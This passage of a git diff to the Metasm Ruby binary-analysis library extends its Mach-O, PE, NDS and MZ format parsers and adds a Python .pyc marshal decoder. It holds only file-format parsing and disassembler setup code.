+      end
+    }
+    nil
+  end
+
+
+  def cp_auto_utf8(string)
+    if idx = cp_find('Utf8') { |i| i.bytes == string }
+      return idx
+    end
+
+    cpi = ConstantUtf8.new
+    cpi.bytes = string
+    cpi.length = string.length
+    cp_add(cpi, 'Utf8')
+  end
+
+  def cp_auto_class(classname)
+    if idx = cp_find('Class') { |i| string_at(i.index) == classname }
+      return idx
+    end
+
+    cpi = ConstantIndex.new
+    cpi.index = cp_auto_utf8(classname)
+    cp_add(cpi, 'Class')
+  end
+
+  def cp_add_methodref(classname, name, descriptor)
+    nat = ConstantNameAndType.new
+    nat.name_index = cp_auto_utf8(name)
+    nat.descriptor_index = cp_auto_utf8(descriptor)
+    natidx = cp_add(nat, 'NameAndType')
+
+    cpi = ConstantRef.new
+    cpi.class_index = cp_auto_class(classname)
+    cpi.name_and_type_index = natidx
+
+    cp_add(cpi, 'Methodref')
+  end
+
+  def attribute_create(name, data)
+    a = AttributeInfo.new
+    a.attribute_name_index = cp_auto_utf8(name)
+    a.attribute_length = data.size
+    a.data = data
+    a
+  end
+end
+end
diff --git a/lib/metasm/metasm/exe_format/macho.rb b/lib/metasm/metasm/exe_format/macho.rb
index a8c830d98e..21c21b37d9 100644
--- a/lib/metasm/metasm/exe_format/macho.rb
+++ b/lib/metasm/metasm/exe_format/macho.rb
@@ -17,6 +17,9 @@ class MachO < ExeFormat
 
   MAGICS = [MAGIC, CIGAM, MAGIC64, CIGAM64]
 
+  # "a" != "a"   lolz!
+  MAGICS.each { |s| s.force_encoding('BINARY') } if MAGIC.respond_to?(:force_encoding)
+
   CPU = {
     1 => 'VAX', 2 => 'ROMP',
     4 => 'NS32032', 5 => 'NS32332',
@@ -44,7 +47,7 @@ class MachO < ExeFormat
       3 => 'MMAX_APC_FPU', 4 => 'MMAX_APC_FPA', 5 => 'MMAX_XPC',
     },
     'I386' => { 3 => 'ALL', 4 => '486', 4+128 => '486SX',
-             0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4',
+      0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4',
       5 => 'PENT', 0x16 => 'PENTPRO', 0x36 => 'PENTII_M3', 0x56 => 'PENTII_M5',
     },
     'MIPS' => { 0 => 'ALL', 1 => 'R2300', 2 => 'R2600', 3 => 'R2800', 4 => 'R2000a', },
@@ -52,6 +55,7 @@ class MachO < ExeFormat
     'HPPA' => { 0 => 'ALL', 1 => '7100LC', },
     'ARM' => { 0 => 'ALL', 1 => 'A500_ARCH', 2 => 'A500', 3 => 'A440',
       4 => 'M4', 5 => 'A680', 6 => 'ARMV6', 9 => 'ARMV7',
+      11 => 'ARMV7S',
     },
     'MC88000' => { 0 => 'ALL', 1 => 'MC88100', 2 => 'MC88110', },
     :wtf => { 0 => 'MC98000_ALL', 1 => 'MC98601', },
@@ -82,7 +86,7 @@ class MachO < ExeFormat
     0x10 => 'PREBOUND', 0x20 => 'SPLIT_SEGS', 0x40 => 'LAZY_INIT', 0x80 => 'TWOLEVEL',
     0x100 => 'FORCE_FLAT', 0x200 => 'NOMULTIDEFS', 0x400 => 'NOFIXPREBINDING', 0x800 => 'PREBINDABLE',
     0x1000 => 'ALLMODSBOUND', 0x2000 => 'SUBSECTIONS_VIA_SYMBOLS', 0x4000 => 'CANONICAL', 0x8000 => 'WEAK_DEFINES',
-    0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION',
+    0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', 0x200000 => 'MH_PIE',
   }
 
   SEG_PROT = { 1 => 'READ', 2 => 'WRITE', 4 => 'EXECUTE' }
@@ -96,12 +100,13 @@ class MachO < ExeFormat
     0x15 => 'SUB_LIBRARY', 0x16 => 'TWOLEVEL_HINTS', 0x17 => 'PREBIND_CKSUM',
     0x8000_0018 => 'LOAD_WEAK_DYLIB', 0x19 => 'SEGMENT_64', 0x1a => 'ROUTINES_64',
     0x1b => 'UUID', 0x8000_001c => 'RPATH', 0x1d => 'CODE_SIGNATURE_PTR', 0x1e => 'CODE_SEGMENT_SPLIT_INFO',
+    0x21 => 'ENCRYPTION_INFO',
     0x8000_001f => 'REEXPORT_DYLIB',
     #0x8000_0000 => 'REQ_DYLD',
   }
 
   THREAD_FLAVOR = {
-    'POWERPC' => { 
+    'POWERPC' => {
       1 => 'THREAD_STATE',
       2 => 'FLOAT_STATE',
       3 => 'EXCEPTION_STATE',
@@ -126,6 +131,15 @@ class MachO < ExeFormat
   SYM_SCOPE = { 0 => 'LOCAL', 1 => 'GLOBAL' }
   SYM_TYPE = { 0 => 'UNDF', 2/2 => 'ABS', 0xa/2 => 'INDR', 0xe/2 => 'SECT', 0x1e/2 => 'TYPE' }
   SYM_STAB = { }
+  IND_SYM_IDX = { 0x4000_0000 => 'INDIRECT_SYMBOL_ABS', 0x8000_0000 => 'INDIRECT_SYMBOL_LOCAL' }
+
+  GENERIC_RELOC = { 0 => 'VANILLA', 1 => 'PAIR', 2 => 'SECTDIFF', 3 => 'LOCAL_SECTDIFF', 4 => 'PB_LA_PTR' }
+
+  SEC_TYPE = {
+    0 => 'REGULAR', 1 => 'ZEROFILL', 2 => 'CSTRING_LITERALS', 3 => '4BYTE_LITERALS',
+    4 => '8BYTE_LITERALS', 5 => 'LITERAL_POINTERS', 6 => 'NON_LAZY_SYMBOL_POINTERS',
+    7 => 'LAZY_SYMBOL_POINTERS', 8 => 'SYMBOL_STUBS', 9 => 'MOD_INIT_FUNC_POINTERS'
+  }
 
   class SerialStruct < Metasm::SerialStruct
     new_int_field :xword
@@ -180,7 +194,7 @@ class MachO < ExeFormat
     def decode(m)
       super(m)
       ptr = m.encoded.ptr
-      if @cmd.kind_of? String and self.class.constants.map { |c| c.to_s }.include? @cmd
+      if @cmd.kind_of?(String) and self.class.constants.map { |c| c.to_s }.include?(@cmd)
         @data = self.class.const_get(@cmd).decode(m)
       end
       m.encoded.ptr = ptr + @cmdsize - 8
@@ -193,7 +207,7 @@ class MachO < ExeFormat
     end
 
     def encode(m)
-      ed = super(m) 
+      ed = super(m)
       ed << @data.encode(m) if @data
       ed.align(m.size >> 3)
       ed.fixup! @cmdsize => ed.length	if @cmdsize.kind_of? String
@@ -243,7 +257,10 @@ class MachO < ExeFormat
       str :name, 16
       str :segname, 16
       xwords :addr, :size
-      words :offset, :align, :reloff, :nreloc, :flags, :res1, :res2
+      words :offset, :align, :reloff, :nreloc
+      bitfield :word, 0 => :type, 8 => :attributes_sys, 24 => :attributes_usr
+      words :res1, :res2
+      fld_enum :type, SEC_TYPE
       attr_accessor :res3	# word 64bit only
       attr_accessor :segment, :encoded
 
@@ -258,10 +275,6 @@ class MachO < ExeFormat
         # addr, offset, etc = @segment.virtaddr + 42
         super(m)
       end
-
-      def decode_inner(m)
-        @encoded = m.encoded[m.addr_to_off(@addr), @size]
-      end
     end
     SECTION_64 = SECTION
 
@@ -279,7 +292,7 @@ class MachO < ExeFormat
       words :flavor, :count
       fld_enum(:flavor) { |m, t| THREAD_FLAVOR[m.header.cputype] || {} }
       attr_accessor :ctx
-      
+
       def entrypoint(m)
         @ctx ||= {}
         case m.header.cputype
@@ -346,6 +359,7 @@ class MachO < ExeFormat
     end
     LOAD_DYLIB = DYLIB
     ID_DYLIB = DYLIB
+    LOAD_WEAK_DYLIB = DYLIB
 
     class PREBOUND_DYLIB < STRING
       word :stroff
@@ -356,6 +370,10 @@ class MachO < ExeFormat
     LOAD_DYLINKER = STRING
     ID_DYLINKER = STRING
 
+    class ENCRYPTION_INFO < SerialStruct
+      words :cryptoff, :cryptsize, :cryptid
+    end
+
     class ROUTINES < SerialStruct
       xwords :init_addr, :init_module, :res1, :res2, :res3, :res4, :res5, :res6
     end
@@ -388,7 +406,7 @@ class MachO < ExeFormat
     end
   end
 
-    class CODE_SIGNATURE < SerialStruct
+  class CODE_SIGNATURE < SerialStruct
     word :magic
     word :size
     word :count
@@ -479,6 +497,12 @@ class MachO < ExeFormat
     end
   end
 
+  class Relocation < SerialStruct
+    word :address
+    bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, 27 => :extern, 28 => :type
+    fld_enum :type, GENERIC_RELOC
+  end
+
   def encode_byte(val)        Expression[val].encode( :u8, @endianness) end
   def encode_half(val)        Expression[val].encode(:u16, @endianness) end
   def encode_word(val)        Expression[val].encode(:u32, @endianness) end
@@ -487,6 +511,10 @@ class MachO < ExeFormat
   def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end
   def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
   def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end
+  def sizeof_byte ; 1 ; end
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
+  def sizeof_xword ; @size == 32 ? 4 : 8 ; end
 
 
   attr_accessor :endianness, :size
@@ -494,6 +522,7 @@ class MachO < ExeFormat
   attr_accessor :segments
   attr_accessor :commands
   attr_accessor :symbols
+  attr_accessor :relocs
 
   def initialize(cpu=nil)
     super(cpu)
@@ -523,6 +552,35 @@ class MachO < ExeFormat
     decode_relocations
   end
 
+  # return the segment containing address, set seg.encoded.ptr to the correct offset
+  def segment_at(addr)
+    return if not addr or addr <= 0
+    if seg = @segments.find { |seg_| addr >= seg_.virtaddr and addr < seg_.virtaddr + seg_.virtsize }
+      seg.encoded.ptr = addr - seg.virtaddr
+      seg
+    end
+  end
+
+  def addr_to_fileoff(addr)
+    s = @segments.find { |s_| s_.virtaddr <= addr and s_.virtaddr + s_.virtsize > addr } if addr
+    addr - s.virtaddr + s.fileoff if s
+  end
+
+  def fileoff_to_addr(foff)
+    if s = @segments.find { |s_| s_.fileoff <= foff and s_.fileoff + s_.filesize > foff }
+      s.virtaddr + module_address + foff - s.fileoff
+    end
+  end
+
+  def module_address
+    @segments.map { |s_| s_.virtaddr }.min || 0
+  end
+
+  def module_size
+    return 0 if not sz = @segments.map { |s_| s_.virtaddr + s_.virtsize }.max
+    sz - module_address
+  end
+
   def decode_symbols
     @symbols = []
     ep_count = 0
@@ -537,30 +595,159 @@ class MachO < ExeFormat
       when 'THREAD', 'UNIXTHREAD'
         ep_count += 1
         ep = cmd.data.entrypoint(self)
-        next if not seg = @segments.find { |seg_| ep >= seg_.virtaddr and ep < seg_.virtaddr + seg_.virtsize }
-        seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }", ep - seg.virtaddr)
+        next if not seg = segment_at(ep)
+        seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }")
       end
     }
     @symbols.each { |s|
       next if s.value == 0 or not s.name
-      next if not seg = @segments.find { |seg_| s.value >= seg_.virtaddr and s.value < seg_.virtaddr + seg_.virtsize }
-      seg.encoded.add_export(s.name, s.value - seg.virtaddr)
+      next if not seg = segment_at(s.value)
+      seg.encoded.add_export(s.name)
     }
   end
 
   def decode_relocations
+    @relocs = []
+    indsymtab = []
+    @commands.each { |cmd|
+      if cmd.cmd == 'DYSYMTAB'
+        @encoded.ptr = cmd.data.extreloff
+        cmd.data.nextrel.times { @relocs << Relocation.decode(self) }
+        @encoded.ptr = cmd.data.locreloff
+        cmd.data.nlocrel.times { @relocs << Relocation.decode(self) }
+        @encoded.ptr = cmd.data.indirectsymoff
+        cmd.data.nindirectsyms.times { indsymtab << decode_word }
+      end
+    }
+    @segments.each { |seg|
+      seg.sections.each { |sec|
+        @encoded.ptr = sec.reloff
+        sec.nreloc.times { @relocs << Relocation.decode(self) }
+
+        case sec.type
+        when 'NON_LAZY_SYMBOL_POINTERS', 'LAZY_SYMBOL_POINTERS'
+          edata = seg.encoded
+          off = sec.offset - seg.fileoff
+          (sec.size / 4).times { |i|
+            sidx = indsymtab[sec.res1+i]
+            case IND_SYM_IDX[sidx]
+            when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base
+              edata.ptr = off
+              addr = decode_word(edata)
+              if s = segment_at(addr)
+                label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}")
+                seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label], :u32, @endianness)
+              end
+            when 'INDIRECT_SYMBOL_ABS'   # nothing
+            else
+              sym = @symbols[sidx]
+              seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness)
+            end
+            off += 4
+          }
+        when 'SYMBOL_STUBS'
+          # TODO next unless arch == 386 and sec.attrs & SELF_MODIFYING_CODE and sec.res2 == 5
+
+          edata = seg.encoded
+          edata.data = edata.data.to_str.dup
+          off = sec.offset - seg.fileoff + 1
+          (sec.size / 5).times { |i|
+            sidx = indsymtab[sec.res1+i]
+            case IND_SYM_IDX[sidx]
+            when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base
+              edata.ptr = off
+              addr = decode_word(edata)
+              if s = segment_at(addr)
+                label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}")
+                seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness)
+              end
+            when 'INDIRECT_SYMBOL_ABS'   # nothing
+            else
+              seg.encoded[off-1] = 0xe9
+              sym = @symbols[sidx]
+              seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness)
+            end
+            off += 5
+          }
+
+        end
+      }
+    }
+    seg = nil
+    @relocs.each { |r|
+      if r.extern == 1
+        sym = @symbols[r.symbolnum]
+        seg = @segments.find { |sg| sg.virtaddr <= r.address and sg.virtaddr + sg.virtsize > r.address } unless seg and seg.virtaddr <= r.address and seg.virtaddr + seg.virtsize > r.address
+        if not seg
+          puts "macho: reloc to unmapped space #{r.inspect} #{sym.inspect}" if $VERBOSE
+          next
+        end
+        seg.encoded.reloc[r.address - seg.virtaddr] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness)
+      end
+    }
   end
 
   def decode_segment(s)
+    @encoded.add_export(s.name, s.fileoff)
     s.encoded = @encoded[s.fileoff, s.filesize]
     s.encoded.virtsize = s.virtsize
-    s.sections.each { |ss| ss.encoded = @encoded[ss.offset, ss.size] }
+    s.sections.each { |ss|
+      ss.encoded = @encoded[ss.offset, ss.size]
+      s.encoded.add_export(ss.name, ss.offset - s.fileoff)
+    }
   end
 
   def each_section(&b)
     @segments.each { |s| yield s.encoded, s.virtaddr }
   end
 
+  def section_info
+    ret = []
+    @segments.each { |seg|
+      ret.concat seg.sections.map { |s| [s.name, s.addr, s.size, s.type] }
+    }
+    ret
+  end
+
+  def init_disassembler
+    d = super()
+    case @cpu.shortname
+    when 'ia32', 'x64'
+      old_cp = d.c_parser
+      d.c_parser = nil
+      d.parse_c <<EOC
+void *dlsym(int, char *);	// has special callback
+// standard noreturn, optimized by gcc
+void __attribute__((noreturn)) exit(int);
+void abort(void) __attribute__((noreturn));
+EOC
+      d.function[Expression['_dlsym']] = d.function[Expression['dlsym']] = dls = @cpu.decode_c_function_prototype(d.c_parser, 'dlsym')
+      d.function[Expression['_exit']] = d.function[Expression['exit']] = @cpu.decode_c_function_prototype(d.c_parser, 'exit')
+      d.function[Expression['abort']] = @cpu.decode_c_function_prototype(d.c_parser, 'abort')
+      d.c_parser = old_cp
+
+      dls.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth|
+        sz = @cpu.size/8
+        raise 'dlsym call error' if not dasm.decoded[calladdr]
+        if @cpu.shortname == 'x64'
+          arg2 = :rsi
+        else
+          arg2 = Indirection.new(Expression[:esp, :+, 2*sz], sz, calladdr)
+        end
+        fnaddr = dasm.backtrace(arg2, calladdr, :include_start => true, :maxdepth => maxdepth)
+        if fnaddr.kind_of?(::Array) and fnaddr.length == 1 and s = dasm.decode_strz(fnaddr.first, 64) and s.length > sz
+          bind = bind.merge @cpu.register_symbols[0] => Expression[s]
+        end
+        bind
+      }
+
+      df = d.function[:default] = @cpu.disassembler_default_func
+      df.backtrace_binding[@cpu.register_symbols[4]] = Expression[@cpu.register_symbols[4], :+, @cpu.size/8]
+      df.btbind_callback = nil
+    end
+    d
+  end
+
   def get_default_entrypoints
     @commands.find_all { |cmd| cmd.cmd == 'THREAD' or cmd.cmd == 'UNIXTHREAD' }.map { |cmd| cmd.data.entrypoint(self) }
   end
@@ -795,6 +982,7 @@ class UniversalBinary < ExeFormat
 
   def encode_word(val)        Expression[val].encode(:u32, @endianness) end
   def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
+  def sizeof_word ; 4 ; end
 
   attr_accessor :endianness, :encoded, :header, :archive
   def initialize
diff --git a/lib/metasm/metasm/exe_format/main.rb b/lib/metasm/metasm/exe_format/main.rb
index 6134148e13..3f47ab793f 100644
--- a/lib/metasm/metasm/exe_format/main.rb
+++ b/lib/metasm/metasm/exe_format/main.rb
@@ -16,7 +16,7 @@ class ExeFormat
   # creates a new instance, populates self.encoded with the supplied string
   def self.load(str, *a, &b)
     e = new(*a, &b)
-    if str.kind_of? EncodedData; e.encoded = str
+    if str.kind_of?(EncodedData); e.encoded = str
     else e.encoded << str
     end
     e
@@ -63,6 +63,30 @@ class ExeFormat
     e
   end
 
+  def load(str)
+    if str.kind_of?(EncodedData); @encoded = str
+    else @encoded << str
+    end
+    self
+  end
+
+  def load_file(path)
+    @filename ||= path
+    load(VirtualFile.read(path))
+  end
+
+  def decode_file(path)
+    load_file(path)
+    decode
+    self
+  end
+
+  def decode_file_header(path)
+    load_file(path)
+    decode_header
+    self
+  end
+
   # creates a new object using the specified cpu, parses the asm source, and assemble
   def self.assemble(cpu, source, file='<unk>', lineno=1)
     source, cpu = cpu, source if source.kind_of? CPU
@@ -175,9 +199,8 @@ class ExeFormat
   end
 
   # saves the result of +encode_string+ in the specified file
-  # fails if the file already exists
+  # overwrites existing files
   def encode_file(path, *a)
-    #raise Errno::EEXIST, path if File.exist? path	# race, but cannot use O_EXCL, as O_BINARY is not defined in ruby
     encode_string(*a)
     File.open(path, 'wb') { |fd| fd.write(@encoded.data) }
   end
diff --git a/lib/metasm/metasm/exe_format/mz.rb b/lib/metasm/metasm/exe_format/mz.rb
index e640509d0d..5097be9123 100644
--- a/lib/metasm/metasm/exe_format/mz.rb
+++ b/lib/metasm/metasm/exe_format/mz.rb
@@ -51,6 +51,7 @@ class MZ < ExeFormat
   def encode_word(val)        Expression[val].encode(:u16, @endianness) end
   # decodes a 16bits word from self.encoded
   def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end
+  def sizeof_word ; 2 ; end
 
 
   attr_accessor :endianness, :header, :source
diff --git a/lib/metasm/metasm/exe_format/nds.rb b/lib/metasm/metasm/exe_format/nds.rb
index 0e9cb80a78..c0519287fa 100644
--- a/lib/metasm/metasm/exe_format/nds.rb
+++ b/lib/metasm/metasm/exe_format/nds.rb
@@ -30,7 +30,7 @@ class NDS < ExeFormat
     mem :secareadisable, 8
     words :endoff, :headersz
     mem :reserved4, 56
-           mem :ninlogo, 156
+    mem :ninlogo, 156
     half :logoCRC, 0xcf56
     half :headerCRC
   end
@@ -70,14 +70,17 @@ class NDS < ExeFormat
   def decode_byte(edata = @encoded) edata.decode_imm(:u8,  @endianness) end
   def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end
   def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
+  def sizeof_byte ; 1 ; end
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
 
 
   attr_accessor :header, :icon, :arm9, :arm7
   attr_accessor :files, :fat
 
-  def initialize(endianness=:little)
-    @endianness = endianness
-    @encoded = EncodedData.new
+  def initialize(cpu=nil)
+    @endianness = (cpu ? cpu.endianness : :little)
+    super(cpu)
   end
 
   # decodes the header from the current offset in self.encoded
diff --git a/lib/metasm/metasm/exe_format/pe.rb b/lib/metasm/metasm/exe_format/pe.rb
index 8803a317f7..9f8e7d6181 100644
--- a/lib/metasm/metasm/exe_format/pe.rb
+++ b/lib/metasm/metasm/exe_format/pe.rb
@@ -215,7 +215,7 @@ EOS
   # TODO seh prototype (args => context)
   # TODO hook on (non)resolution of :w xref
   def get_xrefs_x(dasm, di)
-    if @cpu.shortname =~ /ia32|x64/ and a = di.instruction.args.first and a.kind_of? Ia32::ModRM and a.seg and a.seg.val == 4 and
+    if @cpu.shortname =~ /^ia32|^x64/ and a = di.instruction.args.first and a.kind_of?(Ia32::ModRM) and a.seg and a.seg.val == 4 and
         w = get_xrefs_rw(dasm, di).find { |type, ptr, len| type == :w and ptr.externals.include? 'segment_base_fs' } and
         dasm.backtrace(Expression[w[1], :-, 'segment_base_fs'], di.address).to_a.include?(Expression[0])
       sehptr = w[1]
@@ -225,7 +225,7 @@ EOS
       puts "backtrace seh from #{di} => #{a.map { |addr| Expression[addr] }.join(', ')}" if $VERBOSE
       a.each { |aa|
         next if aa == Expression::Unknown
-        l = dasm.auto_label_at(aa, 'seh', 'loc', 'sub')
+        dasm.auto_label_at(aa, 'seh', 'loc', 'sub')
         dasm.addrs_todo << [aa]
       }
       super(dasm, di)
@@ -243,17 +243,19 @@ EOS
       old_cp = d.c_parser
       d.c_parser = nil
       d.parse_c '__stdcall void *GetProcAddress(int, char *);'
-      d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.kind_of? X86_64
+      d.parse_c '__stdcall void ExitProcess(int) __attribute__((noreturn));'
+      d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64'
       gpa = @cpu.decode_c_function_prototype(d.c_parser, 'GetProcAddress')
+      epr = @cpu.decode_c_function_prototype(d.c_parser, 'ExitProcess')
       d.c_parser = old_cp
       d.parse_c ''
-      d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.kind_of? X86_64
+      d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64'
       @getprocaddr_unknown = []
       gpa.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth|
         break bind if @getprocaddr_unknown.include? [dasm, calladdr] or not Expression[expr].externals.include? :eax
         sz = @cpu.size/8
         break bind if not dasm.decoded[calladdr]
-        if @cpu.kind_of? X86_64
+        if @cpu.shortname == 'x64'
           arg2 = :rdx
         else
           arg2 = Indirection[[:esp, :+, 2*sz], sz, calladdr]
@@ -268,6 +270,7 @@ EOS
         bind
       }
       d.function[Expression['GetProcAddress']] = gpa
+      d.function[Expression['ExitProcess']] = epr
       d.function[:default] = @cpu.disassembler_default_func
     end
     d
@@ -294,6 +297,35 @@ EOS
     } if export
     syms
   end
+
+  # compute the pe-sha1 or pe-sha256 of the binary
+  # argument should be a Digest::SHA1 (from digest/sha1) or a Digest::SHA256 (from digest/sha2)
+  # returns the hex checksum
+  def pehash(digest)
+    off0 = 0
+    off1 = @coff_offset + @header.sizeof(self) + @optheader.offsetof(self, :checksum)
+
+    dir_ct_idx = DIRECTORIES.index('certificate_table')
+    if @optheader.numrva > dir_ct_idx
+      off2 = @coff_offset + @header.sizeof(self) + @optheader.sizeof(self) + 8*dir_ct_idx
+      ct_size = @encoded.data[off2, 8].unpack('V*')[1]
+      off3 = @encoded.length - ct_size
+    else
+      off4 = @encoded.length
+    end
+
+    digest << @encoded.data[off0 ... off1].to_str
+    digest << @encoded.data[off1+4 ... off2].to_str if off2
+    digest << @encoded.data[off2+8 ... off3].to_str if off2 and off3 > off2+8
+    digest << @encoded.data[off1+4 ... off4].to_str if off4
+    digest << ("\0" * (8 - (@encoded.length & 7))) if @encoded.length & 7 != 0
+
+    digest.hexdigest
+  end
+
+  def self.pehash(path, digest)
+    decode_file_header(path).pehash(digest)
+  end
 end
 
 # an instance of a PE file, loaded in memory
@@ -312,7 +344,7 @@ class LoadedPE < PE
 
   # reads a loaded PE from memory, returns a PE object
   # dumps the header, optheader and all sections ; try to rebuild IAT (#memdump_imports)
-  def self.memdump(memory, baseaddr, entrypoint = nil, iat_p=nil)
+  def self.memdump(memory, baseaddr, entrypoint=nil, iat_p=nil)
     loaded = LoadedPE.load memory[baseaddr, 0x1000_0000]
     loaded.load_address = baseaddr
     loaded.decode
@@ -372,7 +404,6 @@ class LoadedPE < PE
       else
         # read imported pointer from the import structure
         while not ptr = imports.first.iat.shift
-          load_dll = nil
           imports.shift
           break if imports.empty?
           iat_p = imports.first.iat_p
@@ -415,6 +446,7 @@ class LoadedPE < PE
           puts 'unknown ptr %x' % ptr if $DEBUG
           # allow holes in the unk_iat_p table
           break if not unk_iat_p or failcnt > 4
+          loaded_dll = nil
           failcnt += 1
           next
         end
@@ -422,7 +454,7 @@ class LoadedPE < PE
       end
 
       # dumped last importdirectory is correct, append the import field
- 			i = ImportDirectory::Import.new
+      i = ImportDirectory::Import.new
       if e.name
         puts e.name if $DEBUG
         i.name = e.name
@@ -433,5 +465,9 @@ class LoadedPE < PE
       dump.imports.last.imports << i
     end
   end
+
+  def pehash(digest)
+    raise "cannot compute a PEhash from memory image"
+  end
 end
 end
diff --git a/lib/metasm/metasm/exe_format/pyc.rb b/lib/metasm/metasm/exe_format/pyc.rb
new file mode 100644
index 0000000000..cad1da61bf
--- /dev/null
+++ b/lib/metasm/metasm/exe_format/pyc.rb
@@ -0,0 +1,167 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/exe_format/main'
+require 'metasm/encode'
+require 'metasm/decode'
+
+
+module Metasm
+# Python preparsed module (.pyc)
+class PYC < ExeFormat
+  # 1 magic per python version...
+  # file = MAGIC(u16) \r \n timestamp(u32) data
+  MAGICS = [
+    62211 # 62211 = python2.7a0
+  ]
+
+  class Header < SerialStruct
+    half :version
+    half :rn
+    word :timestamp
+  end
+
+  def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end
+  def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end
+  def decode_long(edata=@encoded) edata.decode_imm(:i32, @endianness) end
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
+  def sizeof_long ; 4 ; end
+
+  # file header
+  attr_accessor :header
+  # the marshalled object
+  attr_accessor :root
+  # list of all code objects
+  attr_accessor :all_code
+
+  def initialize()
+    @endianness = :little
+    @encoded = EncodedData.new
+    super()
+  end
+
+  def decode_header
+    @header = Header.decode(self)
+  end
+
+  def decode_pymarshal
+    case c = @encoded.read(1)
+    when '0' # NULL
+      :null
+    when 'N' # None
+      nil
+    when 'F' # False
+      false
+    when 'T' # True
+      true
+    #when 'S' # stopiter TODO
+    #when '.' # ellipsis TODO
+    when 'i' # long (i32)
+      decode_long
+    when 'I' # long (i64)
+      decode_word | (decode_long << 32)
+    when 'f' # float (ascii)
+      @encoded.read(@encoded.read(1).unpack('C').first).to_f
+    when 'g' # float (binary)
+      @encoded.read(8).unpack('d').first	# XXX check
+    when 'x' # complex (f f)
+      { :type => :complex,
+        :real => @encoded.read(@encoded.read(1).unpack('C').first).to_f,
+        :imag => @encoded.read(@encoded.read(1).unpack('C').first).to_f }
+    when 'y' # complex (g g)
+      { :type => :complex,
+        :real => @encoded.read(8).unpack('d').first,
+        :imag => @encoded.read(8).unpack('d').first }
+    when 'l' # long (i32?)
+      decode_long
+    when 's' # string: len (long), data
+      @encoded.read(decode_long)
+    when 't' # 'interned': string with possible backreference later
+      s = @encoded.read(decode_long)
+      @references << s
+      s
+    when 'R' # stringref (see 't')
+      @references[decode_long]
+    when '(' # tuple (frozen Array): length l*objs
+      obj = []
+      decode_long.times { obj << decode_pymarshal }
+      obj
+    when '[' # list (Array)
+      obj = []
+      decode_long.times { obj << decode_pymarshal }
+      obj
+    when '{' # dict (Hash)
+      obj = {}
+      loop do
+        k = decode_pymarshal
+        break if k == :null
+        obj[k] = decode_pymarshal
+      end
+      { :type => hash, :hash => obj }	# XXX to avoid confusion with code, etc
+    when 'c' # code
+      # XXX format varies with version (header.signature)
+      obj = {}
+      obj[:type] = :code
+      obj[:argcount] = decode_long
+      #obj[:kwonly_argcount] = decode_long	# not in py2.7
+      obj[:nlocals] = decode_long
+      obj[:stacksize] = decode_long
+      obj[:flags] = decode_long	# TODO bit-decode this one
+
+      obj[:fileoff] = @encoded.ptr + 5	# XXX assume :code is a 's'
+      obj[:code] = decode_pymarshal
+      obj[:consts] = decode_pymarshal
+      obj[:names] = decode_pymarshal
+      obj[:varnames] = decode_pymarshal
+      obj[:freevars] = decode_pymarshal
+      obj[:cellvars] = decode_pymarshal
+      obj[:filename] = decode_pymarshal
+      obj[:name] = decode_pymarshal
+      obj[:firstlineno] = decode_long
+      obj[:lnotab] = decode_pymarshal
+      @all_code << obj
+      obj
+    when 'u' # unicode
+      @encoded.read(decode_long)
+    #when '?' # unknown TODO
+    #when '<' # set TODO
+    #when '>' # set (frozen) TODO
+    else
+      raise "unsupported python marshal #{c.inspect}"
+    end
+  end
+
+  def decode
+    decode_header
+    @all_code = []
+    @references = []
+    @root = decode_pymarshal
+    @references = nil
+  end
+
+  def cpu_from_headers
+    Python.new(self)
+  end
+
+  def each_section
+    yield @encoded, 0
+  end
+
+  def get_default_entrypoints
+    if @root.kind_of? Hash and @root[:type] == :code
+      [@root[:fileoff]]
+    else
+      []
+    end
+  end
+
+  # return the :code part which contains off
+  def code_at_off(off)
+    @all_code.find { |c| c[:fileoff] <= off and c[:fileoff] + c[:code].length > off }
+  end
+end
+end
diff --git a/lib/metasm/metasm/exe_format/serialstruct.rb b/lib/metasm/metasm/exe_format/serialstruct.rb
index 9866878936..5154dc01e8 100644
--- a/lib/metasm/metasm/exe_format/serialstruct.rb
